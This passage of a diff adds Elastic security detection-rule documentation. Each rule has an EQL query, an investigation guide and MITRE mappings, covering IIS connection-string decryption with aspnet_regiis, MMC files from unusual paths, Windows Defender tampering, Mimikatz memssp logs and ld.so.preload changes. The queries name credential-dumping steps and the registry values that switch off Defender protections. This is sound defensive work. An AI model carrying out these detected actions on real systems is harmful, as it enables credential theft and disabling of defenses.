Strings Decryption + +Identifies use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 33 + +*References*: + +* https://blog.netspi.com/decrypting-iis-passwords-to-break-out-of-the-dmz-part-1/ +* https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft IIS Connection Strings Decryption* + + +Microsoft IIS often stores sensitive connection strings in encrypted form to secure database credentials. The `aspnet_regiis` tool can decrypt these strings, a feature intended for legitimate administrative tasks. However, attackers with access to the IIS server, possibly via a webshell, can exploit this to extract credentials. The detection rule identifies suspicious use of `aspnet_regiis` by monitoring process execution with specific arguments, flagging potential credential access attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of aspnet_regiis.exe with the specific arguments "connectionStrings" and "-pdf" to ensure the alert is not a false positive. +- Check the user account associated with the process execution to determine if it is a legitimate administrative account or a potentially compromised one. +- Investigate the source of the process initiation by examining the parent process and any related processes to identify if a webshell or unauthorized script triggered the execution. +- Analyze recent login activities and access logs on the IIS server to identify any unusual or unauthorized access patterns that could indicate a compromise. +- Review the server's security logs and any available network traffic data to detect any signs of data exfiltration or further malicious activity following the decryption attempt. +- Assess the integrity and security of the IIS server by checking for any unauthorized changes or suspicious files that may have been introduced by an attacker. + + +*False positive analysis* + + +- Routine administrative tasks using aspnet_regiis for legitimate configuration changes can trigger the rule. To manage this, create exceptions for known maintenance windows or specific administrator accounts performing these tasks. +- Automated deployment scripts that include aspnet_regiis for setting up or updating IIS configurations may cause false positives. Exclude these scripts by identifying their unique process arguments or execution paths. +- Scheduled tasks or services that periodically run aspnet_regiis for configuration validation or updates might be flagged. Document these tasks and exclude them based on their scheduled times or associated service accounts. +- Development environments where developers frequently use aspnet_regiis for testing purposes can generate alerts. Consider excluding specific development servers or user accounts from the rule to reduce noise. +- Security tools or monitoring solutions that simulate attacks for testing purposes may inadvertently trigger the rule. Coordinate with security teams to whitelist these tools or their specific test scenarios. + + +*Response and remediation* + + +- Immediately isolate the affected IIS server from the network to prevent further unauthorized access and potential data exfiltration. +- Terminate any suspicious processes related to aspnet_regiis.exe to halt any ongoing decryption attempts. +- Conduct a thorough review of IIS server logs and webshell activity to identify the source of the compromise and any other affected systems. +- Change all credentials associated with the decrypted connection strings, including database passwords and service account credentials, to prevent unauthorized access. +- Restore the IIS server from a known good backup taken before the compromise, ensuring that any webshells or malicious scripts are removed. +- Implement enhanced monitoring and alerting for any future unauthorized use of aspnet_regiis.exe, focusing on the specific arguments used in the detection query. +- Escalate the incident to the security operations center (SOC) or relevant incident response team for further investigation and to assess the broader impact on the organization. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "aspnet_regiis.exe" or ?process.pe.original_file_name == "aspnet_regiis.exe") and + process.args : "connectionStrings" and process.args : "-pdf" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-management-console-file-from-unusual-path.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-management-console-file-from-unusual-path.asciidoc new file mode 100644 index 0000000000..169dcc0278 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-management-console-file-from-unusual-path.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-20-microsoft-management-console-file-from-unusual-path]] +=== Microsoft Management Console File from Unusual Path + +Identifies attempts to open a Microsoft Management Console File from untrusted paths. Adversaries may use MSC files for initial access and execution. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/grimresource + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Data Source: Sysmon + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft Management Console File from Unusual Path* + + +Microsoft Management Console (MMC) is a Windows utility that provides a framework for system management. Adversaries may exploit MMC by executing .msc files from non-standard directories to bypass security controls. The detection rule identifies such anomalies by monitoring the execution of mmc.exe with .msc files from untrusted paths, flagging potential unauthorized access or execution attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the path of the mmc.exe and the .msc file being executed. Check if the path is indeed non-standard or untrusted as per the query criteria. +- Investigate the origin of the .msc file by examining file creation and modification timestamps, and check for any recent changes or unusual activity in the directory where the file resides. +- Analyze the user account associated with the process execution to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Check for any related alerts or logs around the same timeframe that might indicate lateral movement or other malicious activities, such as unusual network connections or file access patterns. +- Correlate the event with other data sources mentioned in the rule, such as Microsoft Defender for Endpoint or Crowdstrike, to gather additional context or corroborating evidence of potential malicious activity. +- Assess the risk and impact of the execution by determining if the .msc file has any known malicious signatures or if it attempts to perform unauthorized actions on the system. + + +*False positive analysis* + + +- Legitimate administrative tasks may trigger this rule if system administrators execute .msc files from custom directories. To manage this, create exceptions for known administrative scripts or tools that are regularly used from non-standard paths. +- Software installations or updates might involve executing .msc files from temporary or installation directories. Monitor these activities and whitelist specific installation paths if they are verified as safe and part of routine operations. +- Automated scripts or third-party management tools could execute .msc files from non-standard locations as part of their normal operation. Identify these tools and add their execution paths to the exception list to prevent unnecessary alerts. +- Development or testing environments may involve running .msc files from various directories for testing purposes. Establish a separate monitoring policy for these environments or exclude known development paths to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes related to mmc.exe executing from untrusted paths to halt potential malicious activity. +- Conduct a thorough review of the system's recent activity logs to identify any additional indicators of compromise or related suspicious activities. +- Remove any unauthorized .msc files found in non-standard directories and ensure they are not reintroduced. +- Restore the system from a known good backup if any unauthorized changes or damage is detected. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.executable : ( + "?:\\Windows\\System32\\mmc.exe", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\mmc.exe" + ) and + process.args : "*.msc" and + not process.args : ( + "?:\\Windows\\System32\\*.msc", + "?:\\Windows\\SysWOW64\\*.msc", + "?:\\Program files\\*.msc", + "?:\\Program Files (x86)\\*.msc", + "?:\\Windows\\ADFS\\Microsoft.IdentityServer.msc" + ) and + not process.command_line : ( + "C:\\Windows\\system32\\mmc.exe eventvwr.msc /s", + "mmc.exe eventvwr.msc /s", + "\"C:\\Windows\\System32\\mmc.exe\" CompMgmt.msc*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: MMC +** ID: T1218.014 +** Reference URL: https://attack.mitre.org/techniques/T1218/014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-windows-defender-tampering.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-windows-defender-tampering.asciidoc new file mode 100644 index 0000000000..7825d4493f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-windows-defender-tampering.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-20-microsoft-windows-defender-tampering]] +=== Microsoft Windows Defender Tampering + +Identifies when one or more features on Microsoft Defender are disabled. Adversaries may disable or tamper with Microsoft Defender features to evade detection and conceal malicious behavior. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/ +* https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html +* https://www.tenforums.com/tutorials/104025-turn-off-core-isolation-memory-integrity-windows-10-a.html +* https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html +* https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html +* https://www.tenforums.com/tutorials/51514-turn-off-microsoft-defender-periodic-scanning-windows-10-a.html +* https://www.tenforums.com/tutorials/3569-turn-off-real-time-protection-microsoft-defender-antivirus.html +* https://www.tenforums.com/tutorials/99576-how-schedule-scan-microsoft-defender-antivirus-windows-10-a.html +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Data Source: Crowdstrike + +*Version*: 318 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Windows Defender Tampering* + + +Microsoft Windows Defender is an antivirus product built into Microsoft Windows, which makes it popular across multiple environments. Disabling it is a common step in threat actor playbooks. + +This rule monitors the registry for modifications that disable Windows Defender features. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine which features have been disabled, and check if this operation is done under change management and approved according to the organization's policy. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity, the configuration is justified (for example, it is being used to deploy other security solutions or troubleshooting), and no other suspicious activity has been observed. + + +*Related rules* + + +- Windows Defender Disabled via Registry Modification - 2ffa1f1e-b6db-47fa-994b-1512743847eb +- Disabling Windows Defender Security Settings via PowerShell - c8cccb06-faf2-4cd5-886e-2c9636cfcb87 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Take actions to restore the appropriate Windows Defender antivirus configurations. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and process.executable != null and + ( + ( + registry.value : ( + "PUAProtection", "DisallowExploitProtectionOverride", "TamperProtection", "EnableControlledFolderAccess", + "SpynetReporting", "SubmitSamplesConsent" + ) and registry.data.strings : ("0", "0x00000000") + ) or + ( + registry.value : ( + "DisableAntiSpyware", "DisableRealtimeMonitoring", "DisableIntrusionPreventionSystem", "DisableScriptScanning", + "DisableIOAVProtection", "DisableEnhancedNotifications", "DisableBlockAtFirstSeen", "DisableBehaviorMonitoring" + ) and registry.data.strings : ("1", "0x00000001") + ) + ) and + not process.executable : ( + "?:\\Windows\\system32\\svchost.exe", + "?:\\Windows\\CCM\\CcmExec.exe", + "?:\\Windows\\System32\\DeviceEnroller.exe", + "?:\\Program Files (x86)\\Trend Micro\\Security Agent\\tmuninst.exe", + "\\Device\\HarddiskVolume*\\Windows\\system32\\svchost.exe", + "\\Device\\HarddiskVolume*\\Windows\\CCM\\CcmExec.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\DeviceEnroller.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Trend Micro\\Security Agent\\tmuninst.exe" + ) + +/* + Full registry key paths omitted due to data source variations: + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableRealtimeMonitoring" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableIntrusionPreventionSystem" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableScriptScanning" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableIOAVProtection" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting\\DisableEnhancedNotifications" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet\\DisableBlockAtFirstSeen" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableBehaviorMonitoring" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\PUAProtection" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\\DisallowExploitProtectionOverride" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Features\\TamperProtection" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Windows Defender Exploit Guard\\Controlled Folder Access\\EnableControlledFolderAccess" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet\\SpynetReporting" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet\\SubmitSamplesConsent" +*/ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-mimikatz-memssp-log-file-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-mimikatz-memssp-log-file-detected.asciidoc new file mode 100644 index 0000000000..e7b81afe1d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-mimikatz-memssp-log-file-detected.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-20-mimikatz-memssp-log-file-detected]] +=== Mimikatz Memssp Log File Detected + +Identifies the password log file from the default Mimikatz memssp module. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Mimikatz Memssp Log File Detected* + + +https://github.com/gentilkiwi/mimikatz[Mimikatz] is an open-source tool used to collect, decrypt, and/or use cached credentials. This tool is commonly abused by adversaries during the post-compromise stage where adversaries have gained an initial foothold on an endpoint and are looking to elevate privileges and seek out additional authentication objects such as tokens/hashes/credentials that can then be used to laterally move and pivot across a network. + +This rule looks for the creation of a file named `mimilsa.log`, which is generated when using the Mimikatz misc::memssp module, which injects a malicious Windows SSP to collect locally authenticated credentials, which includes the computer account password, running service credentials, and any accounts that logon. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (e.g., 4624) to the target host. +- Retrieve and inspect the log file contents. +- Search for DLL files created in the same location as the log file, and retrieve unsigned DLLs. + - Use the PowerShell Get-FileHash cmdlet to get the SHA-256 hash value of these files. + - Search for the existence of these files in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + - Identify the process that created the DLL using file creation events. + + +*False positive analysis* + + +- This file name `mimilsa.log` should not legitimately be created. + + +*Related rules* + + +- Mimikatz Powershell Module Activity - ac96ceb8-4399-4191-af1d-4feeac1f1f46 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the host is a Domain Controller (DC): + - Activate your incident response plan for total Active Directory compromise. + - Review the privileges assigned to users that can access the DCs to ensure that the least privilege principle is being followed and reduce the attack surface. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reboot the host to remove the injected SSP from memory. +- Reimage the host operating system or restore compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and file.name : "mimilsa.log" and process.name : "lsass.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Security Support Provider +** ID: T1547.005 +** Reference URL: https://attack.mitre.org/techniques/T1547/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-of-dynamic-linker-preload-shared-object.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-of-dynamic-linker-preload-shared-object.asciidoc new file mode 100644 index 0000000000..d4672c4ff5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-of-dynamic-linker-preload-shared-object.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-20-modification-of-dynamic-linker-preload-shared-object]] +=== Modification of Dynamic Linker Preload Shared Object + +Identifies modification of the dynamic linker preload shared object (ld.so.preload). Adversaries may execute malicious payloads by hijacking the dynamic linker used to load libraries. + +*Rule type*: new_terms + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Modification of Dynamic Linker Preload Shared Object* + + +The dynamic linker preload mechanism in Linux, via `/etc/ld.so.preload`, allows preloading of shared libraries, influencing how executables load dependencies. Adversaries exploit this by inserting malicious libraries, hijacking execution flow for privilege escalation. The detection rule monitors changes to this file, excluding benign processes, to identify unauthorized modifications indicative of such abuse. + + +*Possible investigation steps* + + +- Review the alert details to confirm the file path involved is /etc/ld.so.preload and verify the event action is one of the specified actions: updated, renamed, or file_rename_event. +- Identify the process responsible for the modification by examining the process.name field, ensuring it is not one of the excluded processes (wine or oneagentinstallaction). +- Investigate the process that triggered the alert by gathering additional context such as process ID, command line arguments, and parent process to understand its origin and purpose. +- Check the modification timestamp and correlate it with other system events or logs to identify any suspicious activity or patterns around the time of the modification. +- Analyze the contents of /etc/ld.so.preload to determine if any unauthorized or suspicious libraries have been added, and assess their potential impact on the system. +- Review user accounts and permissions associated with the process to determine if there has been any unauthorized access or privilege escalation attempt. +- If malicious activity is confirmed, isolate the affected system and follow incident response procedures to mitigate the threat and prevent further exploitation. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify /etc/ld.so.preload. To handle this, monitor the process names associated with these activities and consider adding them to the exclusion list if they are verified as benign. +- System management tools like configuration management software might update /etc/ld.so.preload as part of routine operations. Identify these tools and exclude their process names from the detection rule to prevent false alerts. +- Custom scripts or administrative tasks executed by trusted users could inadvertently trigger the rule. Review these scripts and, if necessary, exclude their process names or user accounts from the detection criteria. +- Security agents or monitoring tools that interact with system files might cause false positives. Verify these tools' activities and exclude their process names if they are known to be safe and necessary for system operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate any suspicious processes that are not part of the baseline or known benign applications, especially those related to the modification of `/etc/ld.so.preload`. +- Restore the `/etc/ld.so.preload` file from a known good backup to ensure no malicious libraries are preloaded. +- Conduct a thorough review of recent system changes and installed packages to identify any unauthorized software or modifications that may have facilitated the attack. +- Escalate the incident to the security operations team for a deeper forensic analysis to determine the scope of the compromise and identify any additional affected systems. +- Implement additional monitoring on the affected system and similar environments to detect any further attempts to modify the dynamic linker preload file. +- Review and enhance access controls and permissions on critical system files like `/etc/ld.so.preload` to prevent unauthorized modifications in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:file and event.action:(file_rename_event or rename or renamed or updated) and +not event.type:deletion and file.path:/etc/ld.so.preload and +process.name:(* and not (oneagentinstallaction or passwd or wine)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: 